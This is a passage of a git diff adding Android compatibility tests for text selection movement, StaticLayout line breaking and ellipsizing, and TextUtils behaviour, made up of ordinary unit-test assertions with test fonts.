+        assertEquals(6, Selection.getSelectionEnd(builder));
+
+        // Move down to third line
+        assertTrue(Selection.moveUp(builder, layout));
+        assertEquals(5, Selection.getSelectionStart(builder));
+        assertEquals(5, Selection.getSelectionEnd(builder));
+    }
+
+    @Test
+    public void testMultilineLengthMoveUpAfterSelection() {
+        CharSequence text = "aaaaa\n\naaaaa";
+        SpannableStringBuilder builder = new SpannableStringBuilder(text);
+        StaticLayout layout = new StaticLayout(text, new TextPaint(), 200, null, 0, 0, false);
+        assertEquals(-1, Selection.getSelectionStart(builder));
+        assertEquals(-1, Selection.getSelectionEnd(builder));
+
+        Selection.setSelection(builder, 10);
+        // Move up to empty line
+        assertTrue(Selection.moveUp(builder, layout));
+        assertEquals(6, Selection.getSelectionStart(builder));
+        assertEquals(6, Selection.getSelectionEnd(builder));
+
+        // Move down to third line
+        assertTrue(Selection.moveDown(builder, layout));
+        assertEquals(10, Selection.getSelectionStart(builder));
+        assertEquals(10, Selection.getSelectionEnd(builder));
+
+        Selection.setSelection(builder, 12);
+        // Move up to empty line
+        assertTrue(Selection.moveUp(builder, layout));
+        assertEquals(6, Selection.getSelectionStart(builder));
+        assertEquals(6, Selection.getSelectionEnd(builder));
+
+        // Move down to third line
+        assertTrue(Selection.moveDown(builder, layout));
+        assertEquals(12, Selection.getSelectionStart(builder));
+        assertEquals(12, Selection.getSelectionEnd(builder));
+    }
+
+    @Test
     public void testExtendSelection() {
         CharSequence text = "hello, world";
         SpannableStringBuilder builder = new SpannableStringBuilder(text);
diff --git a/tests/tests/text/src/android/text/cts/StaticLayoutLineBreakingTest.java b/tests/tests/text/src/android/text/cts/StaticLayoutLineBreakingTest.java
new file mode 100644
index 0000000..adb8f97
--- /dev/null
+++ b/tests/tests/text/src/android/text/cts/StaticLayoutLineBreakingTest.java
@@ -0,0 +1,459 @@
+/*
+ * Copyright (C) 2012 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.text.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import android.content.Context;;
+import android.graphics.Typeface;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.text.Layout;
+import android.text.Layout.Alignment;
+import android.text.SpannableStringBuilder;
+import android.text.Spanned;
+import android.text.StaticLayout;
+import android.text.TextDirectionHeuristics;
+import android.text.TextPaint;
+import android.text.style.MetricAffectingSpan;
+import android.util.Log;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class StaticLayoutLineBreakingTest {
+    // Span test are currently not supported because text measurement uses the MeasuredText
+    // internal mWorkPaint instead of the provided MockTestPaint.
+    private static final boolean SPAN_TESTS_SUPPORTED = false;
+    private static final boolean DEBUG = false;
+
+    private static final float SPACE_MULTI = 1.0f;
+    private static final float SPACE_ADD = 0.0f;
+    private static final int WIDTH = 100;
+    private static final Alignment ALIGN = Alignment.ALIGN_NORMAL;
+
+    private static final char SURR_FIRST = '\uD800';
+    private static final char SURR_SECOND = '\uDF31';
+
+    private static final int[] NO_BREAK = new int[] {};
+
+    private static final TextPaint sTextPaint = new TextPaint();
+
+    static {
+        // The test font has following coverage and width.
+        // U+0020: 10em
+        // U+002E (.): 10em
+        // U+0043 (C): 100em
+        // U+0049 (I): 1em
+        // U+004C (L): 50em
+        // U+0056 (V): 5em
+        // U+0058 (X): 10em
+        // U+005F (_): 0em
+        // U+FFFD (invalid surrogate will be replaced to this): 7em
+        // U+10331 (\uD800\uDF31): 10em
+        Context context = InstrumentationRegistry.getTargetContext();
+        sTextPaint.setTypeface(Typeface.createFromAsset(context.getAssets(),
+                  "fonts/StaticLayoutLineBreakingTestFont.ttf"));
+        sTextPaint.setTextSize(1.0f);  // Make 1em == 1px.
+    }
+
+    private static StaticLayout getStaticLayout(CharSequence source, int width,
+            int breakStrategy) {
+        return StaticLayout.Builder.obtain(source, 0, source.length(), sTextPaint, width)
+                .setAlignment(ALIGN)
+                .setLineSpacing(SPACE_ADD, SPACE_MULTI)
+                .setIncludePad(false)
+                .setBreakStrategy(breakStrategy)
+                .build();
+    }
+
+    private static int[] getBreaks(CharSequence source) {
+        return getBreaks(source, WIDTH, Layout.BREAK_STRATEGY_SIMPLE);
+    }
+
+    private static int[] getBreaks(CharSequence source, int width, int breakStrategy) {
+        final StaticLayout staticLayout = getStaticLayout(source, width, breakStrategy);
+
+        final int[] breaks = new int[staticLayout.getLineCount() - 1];
+        for (int line = 0; line < breaks.length; line++) {
+            breaks[line] = staticLayout.getLineEnd(line);
+        }
+        return breaks;
+    }
+
+    private static void debugLayout(CharSequence source, StaticLayout staticLayout) {
+        if (DEBUG) {
+            int count = staticLayout.getLineCount();
+            Log.i("SLLBTest", "\"" + source.toString() + "\": "
+                    + count + " lines");
+            for (int line = 0; line < count; line++) {
+                int lineStart = staticLayout.getLineStart(line);
+                int lineEnd = staticLayout.getLineEnd(line);
+                Log.i("SLLBTest", "Line " + line + " [" + lineStart + ".."
+                        + lineEnd + "]\t" + source.subSequence(lineStart, lineEnd));
+            }
+        }
+    }
+
+    private static void layout(CharSequence source, int[] breaks) {
+        layout(source, breaks, WIDTH);
+    }
+
+    private static void layout(CharSequence source, int[] breaks, int width) {
+        final int[] breakStrategies = {Layout.BREAK_STRATEGY_SIMPLE,
+                Layout.BREAK_STRATEGY_HIGH_QUALITY};
+        for (int breakStrategy : breakStrategies) {
+            final StaticLayout staticLayout = getStaticLayout(source, width, breakStrategy);
+
+            debugLayout(source, staticLayout);
+
+            final int lineCount = breaks.length + 1;
+            assertEquals("Number of lines", lineCount, staticLayout.getLineCount());
+
+            for (int line = 0; line < lineCount; line++) {
+                final int lineStart = staticLayout.getLineStart(line);
+                final int lineEnd = staticLayout.getLineEnd(line);
+
+                if (line == 0) {
+                    assertEquals("Line start for first line", 0, lineStart);
+                } else {
+                    assertEquals("Line start for line " + line, breaks[line - 1], lineStart);
+                }
+
+                if (line == lineCount - 1) {
+                    assertEquals("Line end for last line", source.length(), lineEnd);
+                } else {
+                    assertEquals("Line end for line " + line, breaks[line], lineEnd);
+                }
+            }
+        }
+    }
+
+    private static void layoutMaxLines(CharSequence source, int[] breaks, int maxLines) {
+        final StaticLayout staticLayout = StaticLayout.Builder
+                .obtain(source, 0, source.length(), sTextPaint, WIDTH)
+                .setAlignment(ALIGN)
+                .setTextDirection(TextDirectionHeuristics.LTR)
+                .setLineSpacing(SPACE_ADD, SPACE_MULTI)
+                .setIncludePad(false)
+                .setMaxLines(maxLines)
+                .build();
+
+        debugLayout(source, staticLayout);
+
+        final int lineCount = staticLayout.getLineCount();
+
+        for (int line = 0; line < lineCount; line++) {
+            int lineStart = staticLayout.getLineStart(line);
+            int lineEnd = staticLayout.getLineEnd(line);
+
+            if (line == 0) {
+                assertEquals("Line start for first line", 0, lineStart);
+            } else {
+                assertEquals("Line start for line " + line, breaks[line - 1], lineStart);
+            }
+
+            if (line == lineCount - 1 && line != breaks.length - 1) {
+                assertEquals("Line end for last line", source.length(), lineEnd);
+            } else {
+                assertEquals("Line end for line " + line, breaks[line], lineEnd);
+            }
+        }
+    }
+
+    private static final int MAX_SPAN_COUNT = 10;
+    private static final int[] sSpanStarts = new int[MAX_SPAN_COUNT];
+    private static final int[] sSpanEnds = new int[MAX_SPAN_COUNT];
+
+    private static MetricAffectingSpan getMetricAffectingSpan() {
+        return new MetricAffectingSpan() {
+            @Override
+            public void updateDrawState(TextPaint tp) { /* empty */ }
+
+            @Override
+            public void updateMeasureState(TextPaint p) { /* empty */ }
+        };
+    }
+
+    /**
+     * Replaces the "<...>" blocks by spans, assuming non overlapping, correctly defined spans
+     * @param text
+     * @return A CharSequence with '<' '>' replaced by MetricAffectingSpan
+     */
+    private static CharSequence spanify(String text) {
+        int startIndex = text.indexOf('<');
+        if (startIndex < 0) return text;
+
+        int spanCount = 0;
+        do {
+            int endIndex = text.indexOf('>');
+            if (endIndex < 0) throw new IllegalArgumentException("Unbalanced span markers");
+
+            text = text.substring(0, startIndex) + text.substring(startIndex + 1, endIndex)
+                    + text.substring(endIndex + 1);
+
+            sSpanStarts[spanCount] = startIndex;
+            sSpanEnds[spanCount] = endIndex - 2;
+            spanCount++;
+
+            startIndex = text.indexOf('<');
+        } while (startIndex >= 0);
+
+        SpannableStringBuilder result = new SpannableStringBuilder(text);
+        for (int i = 0; i < spanCount; i++) {
+            result.setSpan(getMetricAffectingSpan(), sSpanStarts[i], sSpanEnds[i],
+                    Spanned.SPAN_INCLUSIVE_INCLUSIVE);
+        }
+        return result;
+    }
+
+    @Test
+    public void testNoLineBreak() {
+        // Width lower than WIDTH
+        layout("", NO_BREAK);
+        layout("I", NO_BREAK);
+        layout("V", NO_BREAK);
+        layout("X", NO_BREAK);
+        layout("L", NO_BREAK);
+        layout("I VILI", NO_BREAK);
+        layout("XXXX", NO_BREAK);
+        layout("LXXXX", NO_BREAK);
+
+        // Width equal to WIDTH
+        layout("C", NO_BREAK);
+        layout("LL", NO_BREAK);
+        layout("L XXXX", NO_BREAK);
+        layout("XXXXXXXXXX", NO_BREAK);
+        layout("XXX XXXXXX", NO_BREAK);
+        layout("XXX XXXX X", NO_BREAK);
+        layout("XXX XXXXX ", NO_BREAK);
+        layout(" XXXXXXXX ", NO_BREAK);
+        layout("  XX  XXX ", NO_BREAK);
+        //      0123456789
+
+        // Width greater than WIDTH, but no break
+        layout("  XX  XXX  ", NO_BREAK);
+        layout("XX XXX XXX ", NO_BREAK);
+        layout("XX XXX XXX     ", NO_BREAK);
+        layout("XXXXXXXXXX     ", NO_BREAK);
+        //      01234567890
+    }
+
+    @Test
+    public void testOneLineBreak() {
+        //      01234567890
+        layout("XX XXX XXXX", new int[] {7});
+        layout("XX XXXX XXX", new int[] {8});
+        layout("XX XXXXX XX", new int[] {9});
+        layout("XX XXXXXX X", new int[] {10});
+        //      01234567890
+        layout("XXXXXXXXXXX", new int[] {10});
+        layout("XXXXXXXXX X", new int[] {10});
+        layout("XXXXXXXX XX", new int[] {9});
+        layout("XXXXXXX XXX", new int[] {8});
+        layout("XXXXXX XXXX", new int[] {7});
+        //      01234567890
+        layout("LL LL", new int[] {3});
+        layout("LLLL", new int[] {2});
+        layout("C C", new int[] {2});
+        layout("CC", new int[] {1});
+    }
+
+    @Test
+    public void testSpaceAtBreak() {
+        //      0123456789012
+        layout("XXXX XXXXX X", new int[] {11});
+        layout("XXXXXXXXXX X", new int[] {11});
+        layout("XXXXXXXXXV X", new int[] {11});
+        layout("C X", new int[] {2});
+    }
+
+    @Test
+    public void testMultipleSpacesAtBreak() {
+        //      0123456789012
+        layout("LXX XXXX", new int[] {4});
+        layout("LXX  XXXX", new int[] {5});
+        layout("LXX   XXXX", new int[] {6});
+        layout("LXX    XXXX", new int[] {7});
+        layout("LXX     XXXX", new int[] {8});
+    }
+
+    @Test
+    public void testZeroWidthCharacters() {
+        //      0123456789012345678901234
+        layout("X_X_X_X_X_X_X_X_X_X", NO_BREAK);
+        layout("___X_X_X_X_X_X_X_X_X_X___", NO_BREAK);
+        layout("C_X", new int[] {2});
+        layout("C__X", new int[] {3});
+    }
+
+    /**
+     * Note that when the text has spans, StaticLayout does not use the provided TextPaint to
+     * measure text runs anymore. This is probably a bug.
+     * To be able to use the fake sTextPaint and make this test pass, use mPaint instead of
+     * mWorkPaint in MeasuredText#addStyleRun
+     */
+    @Test
+    public void testWithSpans() {
+        if (!SPAN_TESTS_SUPPORTED) return;
+
+        layout(spanify("<012 456 89>"), NO_BREAK);
+        layout(spanify("012 <456> 89"), NO_BREAK);
+        layout(spanify("<012> <456>< 89>"), NO_BREAK);
+        layout(spanify("<012> <456> <89>"), NO_BREAK);
+
+        layout(spanify("<012> <456> <89>012"), new int[] {8});
+        layout(spanify("<012> <456> 89<012>"), new int[] {8});
+        layout(spanify("<012> <456> <89><012>"), new int[] {8});
+        layout(spanify("<012> <456> 89 <123>"), new int[] {11});
+        layout(spanify("<012> <456> 89< 123>"), new int[] {11});
+        layout(spanify("<012> <456> <89> <123>"), new int[] {11});
+        layout(spanify("012 456 89 <LXX> XX XX"), new int[] {11, 18});
+    }
+
+    /*
+     * Adding a span to the string should not change the layout, since the metrics are unchanged.
+     */
+    @Test
+    public void testWithOneSpan() {
+        if (!SPAN_TESTS_SUPPORTED) return;
+
+        String[] texts = new String[] { "0123", "012 456", "012 456 89 123", "012 45678 012",
+                "012 456 89012 456 89012", "0123456789012" };
+
+        MetricAffectingSpan metricAffectingSpan = getMetricAffectingSpan();
+
+        for (String text : texts) {
+            // Get the line breaks without any span
+            int[] breaks = getBreaks(text);
+
+            // Add spans on all possible offsets
+            for (int spanStart = 0; spanStart < text.length(); spanStart++) {
+                for (int spanEnd = spanStart; spanEnd < text.length(); spanEnd++) {
+                    SpannableStringBuilder ssb = new SpannableStringBuilder(text);
+                    ssb.setSpan(metricAffectingSpan, spanStart, spanEnd,
+                            Spanned.SPAN_INCLUSIVE_INCLUSIVE);
+                    layout(ssb, breaks);
+                }
+            }
+        }
+    }
+
+    @Test
+    public void testWithTwoSpans() {
+        if (!SPAN_TESTS_SUPPORTED) return;
+
+        String[] texts = new String[] { "0123", "012 456", "012 456 89 123", "012 45678 012",
+                "012 456 89012 456 89012", "0123456789012" };
+
+        MetricAffectingSpan metricAffectingSpan1 = getMetricAffectingSpan();
+        MetricAffectingSpan metricAffectingSpan2 = getMetricAffectingSpan();
+
+        for (String text : texts) {
+            // Get the line breaks without any span
+            int[] breaks = getBreaks(text);
+
+            // Add spans on all possible offsets
+            for (int spanStart1 = 0; spanStart1 < text.length(); spanStart1++) {
+                for (int spanEnd1 = spanStart1; spanEnd1 < text.length(); spanEnd1++) {
+                    SpannableStringBuilder ssb = new SpannableStringBuilder(text);
+                    ssb.setSpan(metricAffectingSpan1, spanStart1, spanEnd1,
+                            Spanned.SPAN_INCLUSIVE_INCLUSIVE);
+
+                    for (int spanStart2 = 0; spanStart2 < text.length(); spanStart2++) {
+                        for (int spanEnd2 = spanStart2; spanEnd2 < text.length(); spanEnd2++) {
+                            ssb.setSpan(metricAffectingSpan2, spanStart2, spanEnd2,
+                                    Spanned.SPAN_INCLUSIVE_INCLUSIVE);
+                            layout(ssb, breaks);
+                        }
+                    }
+                }
+            }
+        }
+    }
+
+    public static String replace(String string, char c, char r) {
+        return string.replaceAll(String.valueOf(c), String.valueOf(r));
+    }
+
+    @Test
+    public void testWithSurrogate() {
+        layout("LX" + SURR_FIRST + SURR_SECOND, NO_BREAK);
+        layout("LXXXX" + SURR_FIRST + SURR_SECOND, NO_BREAK);
+        // LXXXXI (91) + SURR_FIRST + SURR_SECOND (10). Do not break in the middle point of
+        // surrogatge pair.
+        layout("LXXXXI" + SURR_FIRST + SURR_SECOND, new int[] {6});
+
+        // LXXXXI (91) + SURR_SECOND (replaced with REPLACEMENT CHARACTER. width is 7px) fits.
+        // Break just after invalid trailing surrogate.
+        layout("LXXXXI" + SURR_SECOND + SURR_FIRST, new int[] {7});
+
+        layout("C" + SURR_FIRST + SURR_SECOND, new int[] {1});
+    }
+
+    @Test
+    public void testNarrowWidth() {
+        int[] widths = new int[] { 0, 4, 10 };
+        String[] texts = new String[] { "", "X", " ", "XX", " X", "XXX" };
+
+        for (String text: texts) {
+            // 15 is such that only one character will fit
+            int[] breaks = getBreaks(text, 15, Layout.BREAK_STRATEGY_SIMPLE);
+
+            // Width under 15 should all lead to the same line break
+            for (int width: widths) {
+                layout(text, breaks, width);
+            }
+        }
+    }
+
+    @Test
+    public void testNarrowWidthZeroWidth() {
+        int[] widths = new int[] { 1, 4 };
+        for (int width: widths) {
+            layout("X.", new int[] {1}, width);
+            layout("X__", NO_BREAK, width);
+            layout("X__X", new int[] {3}, width);
+            layout("X__X_", new int[] {3}, width);
+
+            layout("_", NO_BREAK, width);
+            layout("__", NO_BREAK, width);
+
+            // TODO: The line breaking algorithms break the line too frequently in the presence of
+            // zero-width characters. The following cases document how line-breaking should behave
+            // in some cases, where the current implementation does not seem reasonable. (Breaking
+            // between a zero-width character that start the line and a character with positive
+            // width does not make sense.) Line-breaking should be fixed so that all the following
+            // tests end up on one line, with no breaks.
+            // layout("_X", NO_BREAK, width);
+            // layout("_X_", NO_BREAK, width);
+            // layout("__X__", NO_BREAK, width);
+        }
+    }
+
+    @Test
+    public void testMaxLines() {
+        layoutMaxLines("C", NO_BREAK, 1);
+        layoutMaxLines("C C", new int[] {2}, 1);
+        layoutMaxLines("C C", new int[] {2}, 2);
+        layoutMaxLines("CC", new int[] {1}, 1);
+        layoutMaxLines("CC", new int[] {1}, 2);
+    }
+}
diff --git a/tests/tests/text/src/android/text/cts/StaticLayoutTest.java b/tests/tests/text/src/android/text/cts/StaticLayoutTest.java
index 4f022a5..bc714b2 100644
--- a/tests/tests/text/src/android/text/cts/StaticLayoutTest.java
+++ b/tests/tests/text/src/android/text/cts/StaticLayoutTest.java
@@ -23,7 +23,9 @@
 import static org.junit.Assert.fail;
 
 import android.graphics.Typeface;
+import android.support.test.InstrumentationRegistry;
 import android.support.test.filters.SmallTest;
+import android.support.test.filters.Suppress;
 import android.support.test.runner.AndroidJUnit4;
 import android.text.Editable;
 import android.text.Layout;
@@ -59,6 +61,13 @@
     private static final int LINE_COUNT = 6;
     private static final int LARGER_THAN_LINE_COUNT  = 50;
 
+    private static final String LOREM_IPSUM = "Lorem ipsum dolor sit amet, consectetur adipiscing "
+            + "elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad "
+            + "minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea "
+            + "commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse "
+            + "cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non "
+            + "proident, sunt in culpa qui officia deserunt mollit anim id est laborum.";
+
     /* the first line must have one tab. the others not. totally 6 lines
      */
     private static final CharSequence LAYOUT_TEXT = "CharSe\tq\nChar"
@@ -203,8 +212,8 @@
             // setBreakStrategy, setHyphenationFrequency, setIncludePad, and setIndents.
             StaticLayout.Builder builder = StaticLayout.Builder.obtain(LAYOUT_TEXT, 0,
                     LAYOUT_TEXT.length(), mDefaultPaint, DEFAULT_OUTER_WIDTH);
-            builder.setBreakStrategy(StaticLayout.BREAK_STRATEGY_HIGH_QUALITY);
-            builder.setHyphenationFrequency(StaticLayout.HYPHENATION_FREQUENCY_FULL);
+            builder.setBreakStrategy(Layout.BREAK_STRATEGY_HIGH_QUALITY);
+            builder.setHyphenationFrequency(Layout.HYPHENATION_FREQUENCY_FULL);
             builder.setIncludePad(true);
             builder.setIndents(null, null);
             StaticLayout layout = builder.build();
@@ -213,6 +222,38 @@
     }
 
     @Test
+    public void testSetLineSpacing_whereLineEndsWithNextLine() {
+        final float spacingAdd = 10f;
+        final float spacingMult = 3f;
+
+        // two lines of text, with line spacing, first line will have the spacing, but last line
+        // wont have the spacing
+        final String tmpText = "a\nb";
+        StaticLayout.Builder builder = StaticLayout.Builder.obtain(tmpText, 0, tmpText.length(),
+                mDefaultPaint, DEFAULT_OUTER_WIDTH);
+        builder.setLineSpacing(spacingAdd, spacingMult).setIncludePad(false);
+        final StaticLayout comparisonLayout = builder.build();
+
+        assertEquals(2, comparisonLayout.getLineCount());
+        final int heightWithLineSpacing = comparisonLayout.getLineBottom(0)
+                - comparisonLayout.getLineTop(0);
+        final int heightWithoutLineSpacing = comparisonLayout.getLineBottom(1)
+                - comparisonLayout.getLineTop(1);
+        assertTrue(heightWithLineSpacing > heightWithoutLineSpacing);
+
+        final String text = "a\n";
+        // build the layout to be tested
+        builder = StaticLayout.Builder.obtain("a\n", 0, text.length(), mDefaultPaint,
+                DEFAULT_OUTER_WIDTH);
+        builder.setLineSpacing(spacingAdd, spacingMult).setIncludePad(false);
+        final StaticLayout layout = builder.build();
+
+        assertEquals(comparisonLayout.getLineCount(), layout.getLineCount());
+        assertEquals(heightWithLineSpacing, layout.getLineBottom(0) - layout.getLineTop(0));
+        assertEquals(heightWithoutLineSpacing, layout.getLineBottom(1) - layout.getLineTop(1));
+    }
+
+    @Test
     public void testBuilder_setJustificationMode() {
         StaticLayout.Builder builder = StaticLayout.Builder.obtain(LAYOUT_TEXT, 0,
                 LAYOUT_TEXT.length(), mDefaultPaint, DEFAULT_OUTER_WIDTH);
@@ -222,6 +263,7 @@
         // without causing any exceptions.
         assertNotNull(layout);
     }
+
     /*
      * Get the line number corresponding to the specified vertical position.
      *  If you ask for a position above 0, you get 0. above 0 means pixel above the fire line
@@ -1171,6 +1213,91 @@
         assertTrue(layout.getEllipsisStart(0) != 0);
     }
 
+    @Test
+    public void testEllipsize_retryEnd() {
+        final float size = 100.0f;
+
+        final int allocatedWidth = (int) (3.4f * size);
+        final String text = "aaaa";
+        final StaticLayout layout = StaticLayout.Builder.obtain(text, 0, text.length(),
+                getTextPaintForEllipsize(size), allocatedWidth)
+                .setEllipsize(TextUtils.TruncateAt.END)
+                .setEllipsizedWidth(allocatedWidth)
+                .setMaxLines(1)
+                .build();
+        assertEquals(1, layout.getEllipsisStart(0)); // After the first 'a'
+        assertEquals(3, layout.getEllipsisCount(0));
+    }
+
+    @Test
+    public void testEllipsize_retryEndRtl() {
+        final float size = 100.0f;
+
+        final int allocatedWidth = (int) (3.4f * size);
+        final String text = "\u202Eaaaa"; // U+202E is the RIGHT-TO-LEFT OVERRIDE.
+        final StaticLayout layout = StaticLayout.Builder.obtain(text, 0, text.length(),
+                getTextPaintForEllipsize(size), allocatedWidth)
+                .setEllipsize(TextUtils.TruncateAt.END)
+                .setEllipsizedWidth(allocatedWidth)
+                .setMaxLines(1)
+                .build();
+        assertEquals(2, layout.getEllipsisStart(0)); // After the first 'a'
+        assertEquals(3, layout.getEllipsisCount(0));
+    }
+
+    @Test
+    public void testEllipsize_retryStart() {
+        final float size = 100.0f;
+
+        final int allocatedWidth = (int) (3.4f * size);
+        final String text = "aaaa";
+        final StaticLayout layout = StaticLayout.Builder.obtain(text, 0, text.length(),
+                getTextPaintForEllipsize(size), allocatedWidth)
+                .setEllipsize(TextUtils.TruncateAt.START)
+                .setEllipsizedWidth(allocatedWidth)
+                .setMaxLines(1)
+                .build();
+        assertEquals(0, layout.getEllipsisStart(0));
+        assertEquals(3, layout.getEllipsisCount(0));
+    }
+
+    @Test
+    public void testEllipsize_retryMiddle() {
+        final float size = 100.0f;
+
+        final int allocatedWidth = (int) (5.9f * size);
+        final String text = "aaaaaa";
+        final StaticLayout layout = StaticLayout.Builder.obtain(text, 0, text.length(),
+                getTextPaintForEllipsize(size), allocatedWidth)
+                .setEllipsize(TextUtils.TruncateAt.MIDDLE)
+                .setEllipsizedWidth(allocatedWidth)
+                .setMaxLines(1)
+                .build();
+        final int ellipsisStart = layout.getEllipsisStart(0);
+        assertTrue(ellipsisStart == 1 || ellipsisStart == 2);
+        assertEquals(3, layout.getEllipsisCount(0));
+    }
+
+    private TextPaint getTextPaintForEllipsize(float size) {
+        // The font used in this method has two glyphs defined for "a" and ellipsis. Both are one
+        // em wide. But the glyphs are kerned: whenever the "a" is followed or preceded by an
+        // ellipsis, half an em is added between them as kerning. This means that:
+        // "aaaa" is 4 ems wide,
+        // "aaa…" is 4.5 ems wide,
+        // "aa…" is 3.5 ems wide,
+        // "a…" is 2.5 ems wide,
+        // "aa…aa" is 6 ems wide,
+        // "aa…a" is 5 ems wide,
+        // "a…aa" is 5 ems wide,
+        // "a…a" is 4 ems wide,
+        // "…a" is 2.5 ems wide.
+        final TextPaint paint = new TextPaint();
+        paint.setTypeface(Typeface.createFromAsset(
+                InstrumentationRegistry.getTargetContext().getAssets(), "ellipsis_test_font.ttf"));
+        paint.setTextSize(size);
+        return paint;
+    }
+
     @Test(expected = IndexOutOfBoundsException.class)
     public void testGetPrimary_shouldFail_whenOffsetIsOutOfBounds_withSpannable() {
         final String text = "1\n2\n3";
@@ -1190,4 +1317,38 @@
                 .setEllipsize(TruncateAt.END).build();
         layout.getPrimaryHorizontal(layout.getText().length());
     }
+
+    // TODO: Re-enable once http://b/65207701 is fixed.
+    @Test
+    @Suppress
+    public void testGetLineWidth() {
+        final float wholeWidth = mDefaultPaint.measureText(LOREM_IPSUM);
+        final int lineWidth = (int) (wholeWidth / 10.0f);  // Make 10 lines per paragraph.
+        final String multiParaTestString =
+                LOREM_IPSUM + "\n" + LOREM_IPSUM + "\n" + LOREM_IPSUM + "\n" + LOREM_IPSUM;
+        final Layout layout = StaticLayout.Builder.obtain(multiParaTestString, 0,
+                multiParaTestString.length(), mDefaultPaint, lineWidth)
+                .build();
+        for (int i = 0; i < layout.getLineCount(); i++) {
+            assertTrue(layout.getLineWidth(i) <= lineWidth);
+        }
+    }
+
+    // TODO: Re-enable once http://b/65207701 is fixed.
+    @Test
+    @Suppress
+    public void testIndent() {
+        final float wholeWidth = mDefaultPaint.measureText(LOREM_IPSUM);
+        final int lineWidth = (int) (wholeWidth / 10.0f);  // Make 10 lines per paragraph.
+        final int indentWidth = (int) (lineWidth * 0.3f);  // Make 30% indent.
+        final String multiParaTestString =
+                LOREM_IPSUM + "\n" + LOREM_IPSUM + "\n" + LOREM_IPSUM + "\n" + LOREM_IPSUM;
+        final Layout layout = StaticLayout.Builder.obtain(multiParaTestString, 0,
+                multiParaTestString.length(), mDefaultPaint, lineWidth)
+                .setIndents(new int[] { indentWidth }, null)
+                .build();
+        for (int i = 0; i < layout.getLineCount(); i++) {
+            assertTrue(layout.getLineWidth(i) <= lineWidth - indentWidth);
+        }
+    }
 }
diff --git a/tests/tests/text/src/android/text/cts/TextUtilsTest.java b/tests/tests/text/src/android/text/cts/TextUtilsTest.java
index d549cfa..2364dad 100644
--- a/tests/tests/text/src/android/text/cts/TextUtilsTest.java
+++ b/tests/tests/text/src/android/text/cts/TextUtilsTest.java
@@ -706,6 +706,83 @@
         }
     }
 
+    @Test
+    public void testEllipsize_retryEnd() {
+        // When we try to ellipsize "aaaa" into a thinner 3.4 em space, we originally think
+        // "aa…" would fit, but after measuring the new text, we find that it doesn't and we need
+        // to retry.
+        final float size = 100.0f;
+        final String text = "aaaa";
+
+        final CharSequence ellipsized = TextUtils.ellipsize(text, getTextPaintForEllipsize(size),
+                3.4f * size,
+                TextUtils.TruncateAt.END, false /* preserveLength */, null /* callback */);
+        assertEquals("a\u2026", ellipsized.toString());
+    }
+
+    @Test
+    public void testEllipsize_retryEndRtl() {
+        // When we try to ellipsize "aaaa" into a thinner 3.4 em space, we originally think
+        // "aa…" would fit, but after measuring the new text, we find that it doesn't and we need
+        // to retry.
+        final float size = 100.0f;
+        final String text = "\u202Eaaaa"; // U+202E is the RIGHT-TO-LEFT OVERRIDE.
+
+        final CharSequence ellipsized = TextUtils.ellipsize(text, getTextPaintForEllipsize(size),
+                3.4f * size,
+                TextUtils.TruncateAt.END, false /* preserveLength */, null /* callback */);
+        assertEquals("\u202Ea\u2026", ellipsized.toString());
+    }
+
+    @Test
+    public void testEllipsize_retryStart() {
+        // When we try to ellipsize "aaaa" into a thinner 3.4 em space, we originally think
+        // "…aa" would fit, but after measuring the new text, we find that it doesn't and we need
+        // to retry.
+        final float size = 100.0f;
+        final String text = "aaaa";
+
+        final CharSequence ellipsized = TextUtils.ellipsize(text, getTextPaintForEllipsize(size),
+                3.4f * size,
+                TextUtils.TruncateAt.START, false /* preserveLength */, null /* callback */);
+        assertEquals("\u2026a", ellipsized.toString());
+    }
+
+    @Test
+    public void testEllipsize_retryMiddle() {
+        // When we try to ellipsize "aaaaaa" into a thinner 5.9 em space, we originally think
+        // "aa…aa" would fit, but after measuring the new text, we find that it doesn't and we need
+        // to retry.
+        final float size = 100.0f;
+        final String text = "aaaaaa";
+
+        final CharSequence ellipsized = TextUtils.ellipsize(text, getTextPaintForEllipsize(size),
+                5.9f * size,
+                TextUtils.TruncateAt.MIDDLE, false /* preserveLength */, null /* callback */);
+        final String ellipsizedString = ellipsized.toString();
+        assertTrue("aa\u2026a".equals(ellipsizedString) || "a\u2026aa".equals(ellipsizedString));
+    }
+
+    private TextPaint getTextPaintForEllipsize(float size) {
+        // The font used in this method has two glyphs defined for "a" and ellipsis. Both are one
+        // em wide. But the glyphs are kerned: whenever the "a" is followed or preceded by an
+        // ellipsis, half an em is added between them as kerning. This means that:
+        // "aaaa" is 4 ems wide,
+        // "aaa…" is 4.5 ems wide,
+        // "aa…" is 3.5 ems wide,
+        // "a…" is 2.5 ems wide,
+        // "aa…aa" is 6 ems wide,
+        // "aa…a" is 5 ems wide,
+        // "a…aa" is 5 ems wide,
+        // "a…a" is 4 ems wide,
+        // "…a" is 2.5 ems wide.
+        final TextPaint paint = new TextPaint();
+        paint.setTypeface(Typeface.createFromAsset(
+                InstrumentationRegistry.getTargetContext().getAssets(), "ellipsis_test_font.ttf"));
+        paint.setTextSize(size);
+        return paint;
+    }
+
     /**
      * Get a blank string which is filled up by '\uFEFF'.
      *
@@ -1614,6 +1691,8 @@
         spannableStringTokens.add(new SpannableString("span 2"));
         spannableStringTokens.add(new SpannableString("span 3"));
         assertEquals("span 1;span 2;span 3", TextUtils.join(";", spannableStringTokens));
+
+        assertEquals("", TextUtils.join("|", new ArrayList<CharSequence>()));
     }
 
     @Test(expected=NullPointerException.class)
@@ -1636,6 +1715,8 @@
                 new SpannableString("span 2"),
                 new SpannableString("span 3") };
